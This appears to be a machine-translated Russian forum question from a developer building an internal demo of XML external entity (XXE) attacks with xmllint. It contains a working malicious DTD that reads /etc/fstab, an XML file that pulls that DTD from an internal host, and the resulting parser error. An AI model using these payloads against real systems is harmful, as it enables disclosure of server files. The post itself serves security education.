XML Сущность не прекращена - XXE-OW ASP Демонстрация лучших 10 уязвимостей формата A4 - лучшие практики, которые можно и нельзя делать - PullRequest
0 голосов
/ 10 января 2020

Я пытаюсь создать демонстрацию «движущихся частей» для команды разработчиков об опасностях определения типов документов (DTD).

Я использую простое упражнение командной строки XMLLINT, украденное непосредственно у Блог Acunetix .

На моем внутреннем веб-сервере у меня есть файл: evil.dtd :

<!ENTITY % file SYSTEM "file:///etc/fstab">
<!ENTITY % start "<![CDATA[">
<!ENTITY % end "]]>">
<!ENTITY % all "<!ENTITY fileContents '%start;%file;%end;'>">

В моей системе презентаций у меня есть простой XML файл для загрузки и анализа DTD: EvilDTD_FSTAB. xml:

<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE data [
  <!ENTITY % dtd SYSTEM
  "http://192.168.68.114/working/evil.dtd">
  %dtd;
  %all;
]>
<data>&fileContents;</data>

Когда я запускаю анализ из командной строки: slid3r@demo-lab: $ xmllint --xpath "string (// data)" --loaddtd --noent --dropdtd EvilDTD_FSTAB. xml

Entity: line 1: parser error : xmlParseEntityDecl: entity fileContents not terminated
 %all; 
      ^
Entity: line 3: 
# Use 'blkid' to print the universally unique identifier for a
       ^

Я уверен, что это просто недостающий символ зла. Файл dtd, но мои проб и ошибок не может найти его. Если бы кто-нибудь мог указать на мою ошибку, и я выгляжу умно для своей презентации, я был бы благодарен.

Заранее спасибо.

  • slid3r
...